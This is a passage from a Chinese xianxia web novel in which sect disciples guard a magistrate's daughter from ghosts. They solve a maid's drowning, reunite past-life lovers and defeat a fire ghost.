长随闻言双眼倏忽放大了,其实没仔细看那令牌,但仿佛已然确信了,转身朝邓严激动道:“大人,他们是归壹派的弟子!” “果真?”一直绷着脸的邓严也脸色一变,几步快走过来迎客,“你们真是归壹派的弟子?” 石映心奇怪他们态度变化:“是又如何?” 邓严连忙说:“是老夫招待不周,几位仙人快里边请!” 几位仙人还对他这突然殷勤的态度有些无所适从呢,长随就点头哈腰地将她们往衙门里迎了。一路上听着奉承话走进了银州署内宅,也就是邓家人居住之处,坐上了正厅的会客座。 又有丫鬟恭恭敬敬地倒茶送点心来,也是体验了一把礼遇嘉宾了。 顾梦真入了座有些不安,瞅了瞅开始吃果子的映心,又瞧了瞧话说多了喝茶解渴的小师妹,再看规矩坐在那脸色发白的何姑娘…… 嗐,还是得他说话啊:“咳咳……邓大人不必对我们这么客气,归壹派向来是公道正派,维护世间安宁、助民为乐是众弟子的职责,你有什么事就直说吧。” “好,不愧是归壹派的弟子,皆有坦荡的正道风范!”邓严见他把话说开,也不再犹豫,“实不相瞒,其实正和昨晚的惨案有关,不过……老夫所求之事,是为了我的女儿……” 石映心抬起眼:“知州小姐?” 邓严微愣:“是,她叫邓晴……老夫长话短说吧,想来几位也听过银州鬼月的传闻,入鬼月以来,晴儿不知何时不慎招惹上了恶鬼,这几日夜里常受恶鬼骚扰……她原有三个丫鬟,昨晚已经死了一个……” “啊?”几人听得一愣,曾换月问,“昨晚死的?死状如何?” 邓严道:“找过仵作验尸,推测是被鬼追到院中池子里溺水而亡。” 石映心说:“和街上那三个人的死状不一样。” “这也正常,”顾梦真摸摸下巴推测,“不同的鬼有不同的杀人习惯吧?所以邓大人的意思是,想让我们杀了那只骚扰邓小姐的恶鬼、护小姐周全?” 邓严朝几人作揖道:“若是几位仙人能帮晴儿渡过此劫,老夫感激不尽、必有重报!” “好说、好说,”曾换月面色故作正经道,“先让我们见见贵千金……以及她身边知晓此事的人,问过了情况再说。” 邓严自然没有不应的道理,立刻吩咐边上的下人:“去叫小姐过来。” 下人快步离去,石映心瞅了眼她离去的身影,又看看师姐和师妹,不知道脑子里想了什么,突兀道:“我听说邓晴有一个未过门的赘婿。” 这话听得在场几人都是一愣,毕竟是人家的私事,就是知道了也不好这么正大光明问出来的……顾梦真正想着怎么给师妹圆场,好在邓严饱经世故,居然笑了下道:“唉,是,石仙人消息灵通啊。” 石映心微微颔首:“也把他叫来。” 邓严有些奇怪道:“虽说庆升近日确实关心晴儿,常伴其左右,不过他尚未过门,还是个外人,夜里也是住在衙外,对此事并不了解。” 顾梦真抓着下巴在想理由,到底什么借口才能合理地见到与此事无关的对方的准女婿呢?实在是好难想哦。 看看对面,小师妹也转溜着眼珠子,还拉了拉她师姐的袖子,传密音道:“师姐,不能让这个邓严发现我们可能是来抢他女婿的啊!” 石映心密音说“嗯”,然后对邓严道:“你不必知道,我们自有考量,把人叫来就是了。” 她师兄师妹:…… 邓严:…… 好霸道哦。 毕竟是求人办事的一方,邓严自然不好再说什么,赔笑道“好好好”,又说午时贾庆升会来陪晴儿吃饭,到时候让他来给仙人们请安问好。 扯谈之间,丫鬟带着邓晴来了,知州小姐气质矜贵、眉目如画,瞧着是窈窕淑女的做派,就是面色里透着些明显的躁郁。走进门来,先是叫了声“爹”,又和几位仙人行礼:“原来几位便是归壹派的仙人,晴儿有礼了。” 大伙连忙说别客气别客气,客套之间,石映心扒拉开包包看了看,木牌没亮。 邓晴坐下后,给几人说了详细情况,说一开始只是做噩梦,不只是她一个人做,贴身的三个丫鬟一起做,梦境不尽相同;连做三晚梦后就开始见鬼,一开始只是守夜的丫鬟发现外头有鬼影飘过,当时她还不在意,觉得是丫鬟夜里犯困脑子糊涂了。 但接连三晚守夜的丫鬟都瞧见了鬼,邓晴不得不重视起来,有一夜她刻意没睡,果真瞧见一长发女鬼从屋外飘过,她大喝一声去追,结果只瞧见人一闪即逝的衣角。 最后便是昨晚的事了,她其中一个丫鬟小翠去起夜时撞了鬼,溺死在院中池下,悄无声息…… “悄无声息?”石映心有问题,“你们邓家这么多人,夜里深静,难道没有人听到救命的叫声吗?” 邓晴看看身边的丫鬟,又看看她爹,几人都摇了摇头。 “会不会一见到鬼就吓晕过去了,连叫都来不及?”曾换月推测,“听闻人害怕到极致时不仅叫不出声、连动都动不了!” 石映心想怕成这样的话真是死路一条了。 邓晴叹了口气:“我原以为那丫头是胆量不错的,平日也比较活泼……没想道她这么胆小……” “不对啊。”顾梦真发现了疑点,“若她真的胆量小,怎么可能大晚上的、又是在见了鬼之后独自去茅房呢?” “这……”邓晴一愣,“也许是人有三急?” 转头又问边上两个丫鬟:“当时小翠可有叫你们二人陪同?” 其中一个丫鬟道:“回禀小姐,小翠只是叫我起来去外间帮着值会班,说是去茅房马上回来……都是奴婢不好,神志不清地就睡过去了,早上起来时才发现她还没回来……” 邓晴叹息一声道:“罢了,这事也怪不得你们,皆是那恶鬼作祟。我素来对此传言将信将疑,偶尔在夜间四人共处一室也不甚在意……如今也是栽了跟头了,唉。” “晴儿,”邓严见女儿唉声叹气的,心里也焦急,面上还要稳重地安慰道,“你放心,有这几位仙人在,定能把那恶鬼捉拿归案!” 还捉拿归案,你们银州署难道还有处置恶鬼的法子? 顾梦真应和道:“没错没错,邓小姐你就放心吧。” “好!”听到他们的保证,邓严脸上总算松了半口气,“那老夫就先替几位安排晚上的住处?” “麻烦邓大人了。” “客气客气,是老夫和小女劳烦了。” 邓严询问过后给他们安排了三间屋子暂作休憩,皆是与邓晴的闺房相近。因他公务繁忙很快就走了,由邓晴带几人去看房间,其实晚上都要待在邓晴屋子里保护她,不过白日可以在里头休息一会。 之后曾换月说要去看看小翠落水的地方,邓晴就带她们去了后院,这院子姹紫嫣红的倒是蛮漂亮,开着应季的花,引着几只蝴蝶在飞,看得出来平时有人在打理。 几人走到小池边上,瞧见里头还有许多锦鲤游来游去,它们是不忌讳这片水淹死过人的。邓晴脸色苍白地给几人解释着:“就是在这池里发现的尸体……” 丫鬟小春顺着池塘边上的汀步小径指过去:“沿着这路走进去,最里头就是下人用的茅房了……” 几人上下左右瞎看了一会,看不出什么所以然来。顾梦真摸着下巴说:“池子就在去茅房的途中,也就是说小翠是走到这的时候被鬼吓晕了过去,正巧旁边是小池就掉入其中……所以就淹死了?” 曾换月也摸下巴:“嘶,这就是真相吗?” 石映心正瞎看着,忽然瞥到一直乖乖跟着她们没说话也没存在感的何碧薰,见她盯着池子有些出神,便问道:“何姑娘,你有什么想法?” 何碧薰被她叫到还有些受到惊吓,见几人纷纷朝她看来,含蓄一笑道:“没什么……我只是想,那鬼是想杀了小翠吗?若是不在这池边,小翠只是被吓晕过去却没掉入池中……那又如何呢?” 三师兄妹:哎呀她说得好有道理! 见大伙脸色有变,何碧薰继续道:“据邓小姐所说,这鬼吓了她们六日,三次在梦中,三次做鬼影飘过,第七日才杀了个人……为何前几日不杀呢?难道是惧怕屋里三位女眷?” 三师兄妹:哎呀这么一说很有些奇怪啊! 第38章 总之,何碧薰几句话下来,就把没疑点的事变得有疑点起来,这些疑点让有些笨蛋更加没头绪了。曾换月咬着手指头琢磨了会,干脆道:“不想了不想了,等晚上捉了那鬼再严刑逼供便是!” 石映心连连点头,顾梦真说对对对。 简单粗暴多好啊! 既然如此,邓晴就请她们先回屋里休息、吃点糕点喝点茶。几人正要走,邓晴的丫鬟小夏忽然出声:“咦,小姐,那荷叶下好像飘着什么东西?” 大伙闻声望去,正巧看见一只锦鲤用嘴顶开一片荷叶,显出原先被荷叶遮住的一个深粉色的香囊。 石映心手一伸,邓晴等人惊奇地看见那香囊就这么飞了过来,乖乖地到了她手中。几人凑近来看,邓晴还奇怪地说:“我见过小翠的尸体,她腰上明明挂着一个香囊了……难道这是别的丫鬟掉的?” 小春看着那香囊,突然想起什么:“小姐,你看这香囊的图样还剩了一角未完成,我记得小翠几日前说过香囊旧了,要再新绣一个。” 何碧薰道:“也就是说,这香囊本应在小翠的衣袖暗袋之中?” 曾换月歪了歪脑袋:“那怎么掉出来的?不应该啊。” “是啊小姐,”小夏道,“小翠的暗袋里还有许多东西都放着,怎么就这个香囊掉出来了?” 邓晴皱起眉头:“这究竟是……” 大伙正盯着香囊发愁之际,边上走来一个丫鬟:“小姐,夫人去山上祈福回来了。听说宅中来了几位归壹派的仙人,说从山上带回来一些好茶好果子要亲自招待仙人呢……对了,贾秀才也来了。” 邓晴脸上的乌云散去:“娘回来了?好啊,我这就去。”又问石映心等人是否同往。 反正一时没有头绪,又想着好茶好果子是什么滋味……主要是为了见贾庆升啦,总之几人是跟着去了。 前边就是厅堂,还没进去就听到里头一男一女的说话声,女声说“庆升啊,又劳烦你去城北买晴儿爱吃的荷花糕了”,男声回道“夫人不必客气,都是庆升应该做的”。 这男声确实就是石映心她们先前在庙中遇见的那个书生…… 石映心余光瞧见走她边上的何碧薰很明显地身形一顿,脸上露出了迟疑的怔愣,见石映心看她,她回以一个有些勉强的笑容,轻声地说:“石姑娘,我认出他的声音了……原来他已是别人的女婿。” “未过门的女婿。”石映心纠正道,“你放心。” 说着就进屋了。 何碧薰瞧她身影:? 等等……放心什么? 她跟在石姑娘身后,垂头低眉,没有去看已经认出的前世爱人,耳里听着那人客客气气地和几位仙人问好,“石仙人”“曾仙人”“顾仙人”一个个地客套下来,终于轮到她了:“这位仙人是……” 何碧薰感到自己的心跳如鼓,大概这也是一种近乡情怯?她面色镇定地抬首来,朝贾庆升露出一个礼貌的微笑:“我不是仙人,不过是个……受石姑娘她们恩惠的凡人罢了。” 她看见他也在看她,面色虽无波动,但那双出神的双眼是骗不了人的,旁人也许瞧不出来,但是对视着的二人怎么毫无察觉呢? “我是何碧薰。” “啊……”贾庆升回神来,朝她点点头,“原来是何姑娘。” 石映心在边上说:“贾秀才,你是不是觉得似曾相识?” 贾庆升一愣,脸上的笑意似有些僵硬,他不解地将视线转向说话的人:“石仙人这是何意?我与这位……” “我们前几日晚上在庙中见过,”石映心抬了下眉,“你不记得我和师妹了?” “哦!”这一声似松了口气似感叹,“记得、记得,原来那日晚上来庙中避雨的是石仙人和曾仙人,真是太巧了。只是那晚夜深,在下眼拙,没瞧清二位的仙容,还请不要错怪。” 石映心:“嗯。” “原来庆升和几位仙人之间还有这样的缘分,”邓夫人王琦面色和蔼,“这是我们邓家的福气!” 贾庆升:“夫人说的是。” 曾换月吃着邓夫人带来的果子,拍着胸脯保证道:“放心吧夫人,邓小姐有我们保护,肯定不会出事!” “欸,欸!”王琦拍拍女儿的手,笑道,“是啊,我总算能放心了。像我这样的老妪遇到这种事简直六神无主了,帮不上女儿的忙,只能去求神拜佛,寻个上天的庇佑……” 这么说着,她从袖里取出一个平安符来,塞到女儿手上说:“晴儿,这是娘诚心求来的,你戴好了。” 邓晴应了一声正要接过,曾换月就说:“瞧着很精致,能不能给我看看?” “当然当然。” 曾换月好奇民间的符箓,拿来后见这平安符做工精美,肯定价值不菲,琢磨了一下就还回去了。 大家伙聊了会天,又一起用了午膳,这才各自散开去休息了。 曾换月偷偷问石映心因果牌反应如何,石映心说很有反应,顾梦真就说:“那得想个办法让贾庆升和何姑娘单独见面谈一谈。” 她们先问了何碧薰,后者却犹豫道:“他与邓小姐下月就要定下婚约,八字就差一撇,我……我见他是不是不大好?” 话是这么说,但他们的任务怎么办? 曾换月便劝道:“哎呀,你就见一面嘛,若是贾庆升钟情于邓小姐,那我们自然尊重祝福了;若是其中……有一些狗血的缘由,指不定你二人还有一丝希望呢?” “可是……” “其实我看刚刚在厅堂里,贾庆升没与邓小姐说几句话,倒是和邓夫人相谈甚欢。”顾梦真回忆道,“而且邓小姐也没给他几个眼神……瞧着不像是快结婚的一对佳偶。” 石映心说:“我们可以先问邓小姐。” 三人一愣:“啊?问什么?” “问她喜不喜欢贾庆升。” 曾换月脸上抽抽:“啊,这是能问的吗?” 石映心想起邓晴的屋子就在边上,于是转身就走。其他人自然拦不住她,只好跟上去。 这家伙进了屋,瞧见邓晴正在喝茶,对方见她来了,放下挪到嘴边的茶盏就要站起来问好,却见石映心单刀直入道:“邓小姐,你与贾庆升关系如何?” 邓晴被她唬住了:“额,贾庆升是我未过门的夫婿……” “瞧着你不喜欢他。” 邓晴便有一丝尴尬,扯了个笑道:“石仙人为何这么说?” “你喜欢他吗?” “仙人您问这个是要……” “你喜欢他吗?” 曾换月等人都追了上来,见这氛围奇怪,脸上各有尴尬。 “……其实,说不上什么喜欢不喜欢的。”邓晴瞧见这么多人来了,这石仙人又自顾自只问不答,无奈回道,“我年岁已到,总要嫁人,不过我没什么心上人,爹娘就说与其嫁去旁人家里,不如招个赘婿,一辈子活在银州署陪着他们,日子多好过?” 曾换月听了叹道:“这就是有钱人家的底气!” 邓晴也朝她笑笑:“贾庆升先前偶然助我爹破过一起案子,我爹因此对他另眼相待,后来让我与他见了面,问过我意见……我见他容貌端正,知书达理,是个老实人,便答应下来。” 石映心听了半天,总结出来:“所以你不喜欢他。” 邓晴无奈道:“我不排斥他,而且我娘说了,感情是可以培养的。” “那你换个人培养吧。”她如此帮人家下了决定,转头笑道,“师兄、换月,太好了,看来这事并不难。” 她师兄师妹:…… 邓晴:OO? 顾梦真额头上都流了不少汗了,连忙擦擦,掩去他们因果牌的事和邓晴解释了前因后果。 何碧薰话少又腼腆,还不是归壹派的弟子,邓晴便没多关注她,闻言才诧异地打量起来,有些不可置信道:“你说的这些前世今生的故事可都是真的?” 要“抢”人家准夫君,何碧薰十分不好意思,原本苍白的脸都泛青了,几乎不敢直视对方,很是愧疚道:“邓小姐,我实在是有愧于你……还请不要在意我,就当做什么都没发生过吧……” 邓晴定定地看了她一会,忽地叹出口气道:“别这么说,我也不是不讲情不讲理的人;不过此事并不是我和你说的算,若是贾庆升也对你有意,我也乐意促成这一桩美事。至于我爹娘那边,我会帮你解释。” 听她这么说,三师兄妹都乐颠了,已经在边上庆祝起来;何碧薰更是眼里泛泪光,难以置信道:“邓小姐有此宽怀的胸襟、成人之美的善良,日后定是有福之人。” 邓晴笑道:“我娘说过,世间万物不可强求,一切皆是冥冥注定。你和贾庆升有这般缘分,又赶在我与他订婚前来了,想来也是命中注定。再说这是石仙人她们的请求,我这几日还得仰仗几位保全小命,就当是报答吧。” 那三人:“客气客气了,应该应该的。” 何碧薰感激得不知道再说什么,连忙朝她行礼道谢,又被邓晴扶起来。 总之是这么回事了,邓晴喊丫鬟去叫贾庆升过来,留了屋子让何碧薰和贾庆升单独见面,她与石映心三人就去隔壁静候佳音。 “自古多情空余恨,此恨绵绵无绝期……”邓晴也是感叹一声,“还以为这些诗词不过是夸大其词,话本中的深情故事都是凡人的臆想。今日见了何姑娘,才知道并非如此。” “是啊是啊。”顾梦真耳朵注意着隔壁的动静,这边热情地敷衍着,“嘶……好像快说好了。” 第39章 几人便望向门,果然很快门就被推开,何碧薰擦着眼泪走进来,脸上带着忧愁的笑容。 曾换月迫不及待地问:“情况如何啊?” 何碧薰抽泣一声,让曾换月心都提了,好在很快听她说:“他说……难怪今日见我一见如故,打算等闹鬼一事过后,正式去和邓大人他们谢罪……” 她说得简明扼要,前言难搭后语,但明显是二人情投意合的意思。 曾换月跳起来:“太好了师姐!” 石映心点点头:“太好了换月!” 邓晴也是松了口气,还庆幸道:“好在爹娘最近在忙捉鬼的事,婚礼事宜没筹备多少……” 话说到这,门外又进来一人,正是贾庆升,他一进来就朝邓晴深深地拱手鞠了一躬:“多谢小姐成全!” 邓晴说不谢。 贾庆升又说:“贾某惭愧不如、无以为报,就请小姐允许这几日贾某伴左右略施薄力……” 邓晴挑秀眉:“你是想伴我左右还是伴何姑娘左右?” 贾庆升脸上一红,神色窘迫,不知如何回复;何碧薰也是低着头害羞。好在边上几人哈哈笑起来,这才过了这茬。邓晴也同意了。 贾庆升又请求邓晴暂时对她爹娘隐瞒此事:“邓大人和邓夫人这几日已是焦头烂额,贾某实在不忍二人再受多余的烦恼。等闹鬼一事过去,在下定会诚心赔礼谢罪。” “不用你说,”邓晴微微颔首,“我也是这般想的。” 事情就暂时这么决定了。 捉鬼什么的,石映心压根没放在心上,搞定了因果牌上的事后她觉得整个人轻松不少,还说银州署很无聊,想去街上逛逛。不过被二师兄以“天快黑了”为理由给拉住了。 天真的黑得很快,用过晚膳之后,石映心和曾换月扮做丫鬟的模样陪邓晴待在屋里,小春小夏以及何碧薰等人则是由顾梦真陪同,待在隔壁的房间。 顾梦真往桌上放了那盏辟邪灯,门窗都关着,不担心被风吹灭。屋里其他灯都没点,将近漆黑一片,几人围在桌边,面面相觑着彼此脸上窜动的火影。 邓严瞅了瞅四周,有些说不上来的不安:“额,顾仙人……” 顾仙人瞪眼:“嘘~” 邓夫人王琦想着女儿那屋就三个人,也是忧愁:“顾仙人,要不……” 顾仙人摇头:“嘘~” 站在邓严身后的贾庆升和坐在顾梦真边上的何碧薰对视一眼,小声道:“不如让贾某……” 顾仙人竖手指头:“嘘~” 别打扰他听隔壁的动静啊! 这都嘘嘘嘘了,几人只好闭上嘴,顾虑无处发泄,面色和动作就焦躁起来。贾庆升喝了口茶水压压惊,边上的丫鬟便非常有眼力色地给几位主子倒了茶水,大家纷纷喝起来,事到如今也没有其他转移注意力的办法了。 屋内静谧着,只听见外头传来夏夜的蝉鸣。 吱呀吱呀的声音听得邓晴有些犯困,她坐在内室的床上,曾换月陪着她在边上一边吃西瓜一边看话本,石映心在外室,隔着屏风,隐约瞧见她的身影。 曾换月从话本里抬起眼来,见邓晴眉头微蹙着,语气轻松道:“邓小姐你就宽心吧,有我师姐在,那鬼伤不了你一根毫毛。要不你睡一会?” 邓晴只觉得胸口压了一块石头,话都说不出来,朝她微微摇了摇头。 就在这时,石映心在外头叫道:“换月,你过来一会。” 曾换月“哦”了一声,放下话本就走去了外室。邓晴隐约能听见二人的说话声,心下倒还算安定。 “小姐、小姐……” 谁? 她扭头一看,卧房的窗上显出一个人影,听声音好似是小春。邓晴猜想可是爹娘关心她的情况,派丫鬟过来一探究竟;两位仙人在外室谈话,不过几步距离,她便走过去,压低声音隔着窗户问:“怎么了?” 小春说:“小姐,没什么要紧事,是夫人和老爷关心 你的情况,又不便随意走动,便派奴婢来看看你。” 邓晴松了口气,微微笑道:“我没事。你好好照顾爹和娘,我有两位仙人保护,他们不必担心。” 小春说“好”,窗上的人影低头从袖里拿了什么出来:“对了小姐,夫人说她先前落了一枚护身符,现下找到了,命我交到你手上。” “娘也真是的,如今我有仙人庇护她还不放心……” 无奈的话里也有些笑意,邓晴一边说一边将窗户上的窗闩解开,对面很快递来一个护身符,她接过来一看,忽地眼前一糊,好在眨了眼就清明起来,再定睛看去,手中的哪里是护身符?明明是个暗粉色的香囊,瞧着还有些熟悉…… 是小春给错了? 她自然要问说法,抬眼看去,面前的人哪里是小春啊,那顶着一张青白脸死死盯着她看的,不是她死去的丫鬟小翠还是谁? “啊!!”女人惨叫。 “哐!!”踹门之声。 邓晴吓得连连后退,腰部撞到桌沿才止住,即使她惊悚万分,也依旧瞪大眼睛盯着小翠瞧,就见小翠忽地往边上瞥了一眼,下一秒就飘走了,紧接着就是石仙人从窗前跑去。 “别怕……” 边上突然有人声,邓晴又是一抖,转头看去是曾换月,提着一口气道,“曾仙人,刚刚是小翠……” 曾换月“嗯嗯”了两声,把她扶着站稳:“你放心,方才师姐叫我去外室,就是为了给鬼可乘之机。” “哦……原来是这样。”邓晴这才松了口气,“对了,小翠给了我一个香囊……” 她手上依旧有分量,于是低头看去,只见一块石头:“这……” 话说另一边,石映心追着小翠绕了一段路,兜转来到后院之中,又跟着走到了池子边上,见那女鬼站在池边,脸色黑森森地看着她,却是不跑了。 石映心见她鬼气淡薄,压根不是自己的对手,便奇怪她站那做什么:“自知走投无路,不跑了?” 女鬼蹙着眉头,点点头又摇了摇头:“你不要杀我,我没有害过人……” 石映心“呵”了一声道:“你昨晚才害死了一个人,就是邓晴的丫鬟小翠……”话到这她也皱起眉头,有些不解。 等等,如果面前的女鬼是小翠的话,那害死小翠的鬼是谁? “你的意思是……邓宅里还有另一只鬼?是那只鬼杀了你?” “是、也不是……”小翠苦恼道,“我猜想杀我的应是个人。当时我从茅房出来,走到这里突然被捂住了口鼻,然后就被压着脑袋浸入水中淹死……我想若是鬼的话,何必用这般手段?而且那人的手上还有温度……” “我不知如何是好,便偷偷取出袖袋中的香囊丢入河中,期盼有人能发现事情的不对劲,可惜……好在现在是鬼月,银州鬼多,阴差没来得及勾我去地府;我鬼气淡薄,白日不可曝露,只得守在尸体边,入夜后才敢出来……” 石映心听她说得有理有据:“你的意思是,你们宅中有一只吓人的鬼,还有一个杀人的人。” 小翠连连点头,突然跪下来,朝石映心哀求道:“仙人,还请帮小翠报仇雪恨啊!” 石映心不知情况怎么就从抓一只鬼变成抓鬼又抓人了,她叹了口气道:“你放心,我答应过邓晴会帮她解决这事,一定说到做到。” “多谢仙人!” 石映心又问:“你方才为何去吓邓晴?” 小翠跪在那里很无辜:“我没有想吓小姐,不过是想借机提醒她香囊一事……大概是我鬼脸可怖,小姐又不常见鬼,才吓到了吧……” 石映心说好吧,但总觉得自己好像忘了什么…… “救命啊,走水啦!!快去救火啊——” 石映心:? 转头一看,正巧看见黑天被火光咬住了尾巴。 她来不及再顾小翠,转身往回跑去,路过邓晴的房间,里头没有人,又跑去隔壁,瞧见邓晴和何碧薰正在焦急地推搡着谁,再转眼一看,桌上趴倒了邓严王琦,地上倒着几个伺候的丫鬟。 石映心跑进去问:“我师妹和师兄在哪?” 何碧薰见她来了,先松了口气,又连忙说:“二位仙人去救火了。” 石映心转身就跑。 跑了没两步就看见天上飘着一艘云舟,正在哗哗下着大雨,石映心没忍住挑了下眉,心说这船还真有派上用场的时候,是她先前有偏见了。过了拐角,就见迎面飘来一个黑影,后边的屋子里跑出来她师妹,举着符箓大声叫嚷着: “别跑!” 那黑影见了突然冒出来的石映心,猛然顿在了原地,很有眼力见地转头跑进了隔壁的房间,这时候曾换月也瞧见她了,连忙喊道:“师姐,就是那只鬼放的火!快抓住他!!” 石映心便跟着黑影进了屋,正巧见他手心攥着一团火烧在床幔上,火苗以骇人的速度从小拇指大眨眼间烧尽了一半的床幔,并且越烧越烈。见石映心追来,那黑影手里抓起一团火球朝她砸来—— 石映心顺手把火球劈开,火球变成了两半,一半落在桌上,如鱼得水、如火得木,烧得很开心;另一半落在书格上,哇,那就更壮观了。 石映心:…… 不管了,杀鬼要紧。于是跟着黑影跳出了已经被染了火苗的窗户。 顾梦真抱着一堆册子从灭完火的书房里跑出来,转头看见那边的屋子的也燃起了大火,他两眼一晕,连忙指挥着云舟往那处飞,这会又和急匆匆跑来的小师妹遇上,后者问:“师姐呢?” “不知道啊,我忙着救火!” 曾换月一跺脚:“哎呀!” 又忙忙碌碌寻师姐去了。 第40章 石映心追了黑影一会,并不是她追不上,只是她见识了这鬼四处点火的威力之后便不敢随意动手,这会终于追到了前院中,周围一片宽阔之地,便是打架的好时机了。 只见她随意将手中的帝血剑往前一抛,拿剑咻地穿过火鬼的脖颈,将其身首分离。鬼自然没有那么好啥,只见它不过是停滞了一会,脖颈处烧起了一圈火焰,进而席卷了全身,完全变成了一个火影,那本应落掉的脑袋还是安然无恙的。 帝血剑挡在前方,火鬼转过身来,看向那个并不慌张的少女。 石映心先是问:“是你杀了小翠?” 火鬼的声音沙哑,仿佛嗓子也被烧过了:“没错,就是我!” 石映心又问:“是你吓唬邓晴?” “是又如何?” 石映心点点头:“没如何,我只是确认自己没找错鬼。” 火鬼闻言,莫名哈哈大笑起来,因其声音呕哑嘲哳,听着也像哭:“哈哈哈哈!难道你是想替她报仇?” “算是吧。” “不过一个下贱丫鬟的命,哪里配得上‘报仇’一词!?” “她是谁不重要,”不知何时,帝血剑已回到了石映心的手中,“重要的是我要杀谁。” 没啥好说了,那就打吧。 一人一鬼先是试探几招,主要表现在石映心砍它脑袋看它胳膊砍它腿到处乱砍,但砍火鬼就像砍火,砍火就像砍风,毫无可实质落剑点,砍断的地方火苗再一蹿——又好了。 石映心的袖子上还沾了一些火焰,她用手压灭了。瞧着面前虽有些耗损和疲惫但依旧可以嘚瑟的火鬼,她心说难道真要用那办法了?虽然有些麻烦,但……好吧。 就见她将右手握剑立在身前,左手竖两指沿着剑身往上划去,嘴里依稀念念有词,眨眼间指尖过了剑尖,又反手转来掐了个指诀,双眼一定,毅然念道:“呼风唤雨!” 霎时剑上生出一道雷光,竟直冲天际,照亮了一线黑天,火鬼怔然地仰头望去,几息之间就有乌云聚集而来,将黑天遮成阴的,之间似有雷光游过——显然是下雨的预警! 水能灭火,小儿也知晓。火鬼见状不妙,怒骂一声就要往屋里跑去,石映心都用上师父真传的大招了,岂能这么轻易放它走?一人一鬼就这么你追我赶起来。 火鬼干脆在四处的花草树木上点火,石映心全然不管,反正等会就下雨了,就是这些花草都烧光了也能再种啊 ;又朝她扔火球,这就更简单了,接球似的劈开就是;更要死的时候就是整只鬼张牙舞爪地扑上来,被石映心从下至上劈成两半—— 虽然是死不了,但复原也耗费鬼力。 咚。 天上开始落下几滴雨来,有一滴落在着火的叶上;有一滴落在被火鬼踩得干裂的地上;还有一滴落在火鬼的头上,发出一缕烟气。 火鬼暗道不妙,闪身躲过一剑,余光瞥见石映心身后的方向跑来两个身影,心念一动,蓦地转身朝那可恶的剑修贴脸逼近,与此同时裂开嘴巴吐出一大串火焰来—— 火势袭面,石映心猝不及防往后一躲,挥手散开着到脸上的火苗,再定睛看去,火鬼已经离曾换月只有几步距离了,正伸手往她捉去。 师妹惊慌捞出一张符箓往火鬼身上一贴,只见符箓化作水浇灭了……火鬼的两根手指头。 这时候的曾换月第一次如此深刻地为自己不靠谱的符箓质量感到懊恼羞愧,以往只觉得一张不行那就再一张,再一张不行那就再再一张,再再一张不行那就再再再……总之,多画几张不就行了! 可事到如今她才发现,画几张不是问题,问题是她根本没时间拿啊—— “师姐救命啊!!” 她师姐正赶来呢,但就在那火苗烧到她鼻尖的时候,她后边那个身影忽地将她推开,猛然往火鬼身上一跳,竟死死地抱住了这团火焰! “啊!”曾换月被推了一把好险没站稳,“小翠!” 小翠宛如一只溺水之人抱住了救命的浮木——虽然她其实是溺水而死的鬼,大概因此死因,她身上居然有水渗透出来,浇得火焰滋啦作响,火鬼扒拉不开她,痛得嚎啕大喊:“啊!啊!疼啊!!” 她浇灭火鬼的同时,自身也在被火焰燃烧着,面色变得越发狰狞、越像一只恶鬼,她用这痛苦的躯体恶狠狠地说:“你凭什么杀我!你凭什么杀我?丫鬟的命不是命?丫鬟的命不是命!” 石映心提剑赶来,看见小翠的鬼身已经焦黑了一半,火鬼身上躯干部分的火焰也灭了许多,若是趁此时杀了火鬼……只是小翠抱得太近,一不小心的话…… “师姐!”师妹跑过来焦急道,“师姐,你救救小翠!” 石映心转头看她,正要说什么,老天奶的倾盆大雨终于蓄势好,一鼓作气地倒了下来。 火鬼避无可避,被雨水浇的奄奄一息;小翠也失去了力气,从它身上掉了下来。二者总算分离,石映心不再犹豫,一剑将火鬼斩首,又将脑袋用剑挑远了一些,这次总算不再复原了,她打量了一下,发现这火鬼的黑原来是焦黑。 所以……这是被烧死的人化作的鬼? 完全看不出生前的模样了。 “小翠,小翠!”师妹在小翠边上叫她,“小翠,你没事吧!?” 小翠奄奄一息道:“我总算……报仇了……” “你别死啊!”曾换月已经哭了起来,“你方才不该救我的!” 小翠嘴角微抽,大概是想笑:“他杀了我,还说我命贱……我死前发誓……做鬼也不会放过他……” 石映心确认道:“你怎么知道他是杀你的人……鬼?” “我知道……”小翠说,“一看到他……我就知道……” 曾换月:“呜呜呜……你何必呢?留着魂魄去投胎不好吗?” 小翠的声音越发虚弱:“大概是……一时糊涂……不过……我不后悔……” 石映心瞧见师妹泪眼婆娑地看着自己,都猜到她接下来要说什么了:“师姐,你想想办法呜呜呜……” 石映心哪里遇见过这情况,抓抓脸蹲下来,见小翠的鬼气在消散,便试着用灵力包裹住小翠全身,让这些鬼气不散走,然后——然后就不知道了啊。 她想了会,忽然想起什么:“对了,要不我问问大师兄。” 曾换月抽抽鼻子:“传音符传回归壹派起码要一个时辰……” “大师兄就在银州署。” 石映心淡定地从包包里拿出一张传音符,正要施法,似有所感地抬头一看,她大师兄就站在对边的屋檐上,抱着剑看着她。见她看来,便不再袖手旁观,飞身而下。 曾换月见明易突然冒出来,无异于见了鬼:“大师兄!你怎么在这?” 石映心朝明易神秘一笑:“大师兄一直跟着我们。” 明易避开她的视线,瞥了眼地上的小翠道:“她鬼气淡薄,如果尽快送她去地府,可能还有一线生机。” 曾换月:“啊?地府怎么去啊?” “阴阳路有通往地府的鬼门关。”明易这么说着,一手抬在小翠上空,掌心一开,下方出现了一个悬浮的铃铛,他轻轻摇铃,就见小翠渐渐化作一缕缕黑气往铃铛而去,不一会儿便不见了鬼影,而明易手心的铃铛则不再出声。 曾换月欣喜地和石映心道:“师姐,是摄魂铃!” 石映心点了点头。 收好装了小翠的摄魂铃,明易对两个师妹道:“我送她去阴阳路,你们留在这继续完成任务。” 石映心说任务很快要完成了。 明易轻挑眉:“最好是。”说完便飞走了。 石映心:? 曾换月觉得有大师兄在,小翠一定有救的,哭得惨兮兮的脸上一下子又笑开来,拉着石映心问:“师姐,你一直知道大师兄在跟着我们吗?” “嗯。” “什么时候跟上的?我一点没有察觉。” 石映心正要和她解释,就听见叫喊声,抬首一看,顾梦真等人正往这边跑来;与此同时,她呼风唤雨来的乌云已经散去,月色亮透夜空晴朗,光照人间,无人在意的地方火鬼早已魂飞魄散,只留下黑糊糊的一条人形。 一大群人会面,问长问短了一会,因夜色已深、众人疲累,便决定先回去好好休息,隔日早上再议。 师兄妹三人倒头就睡。 隔日早上。 曾换月被师姐叫醒,简单洗漱了一会,和师姐一起用早膳。 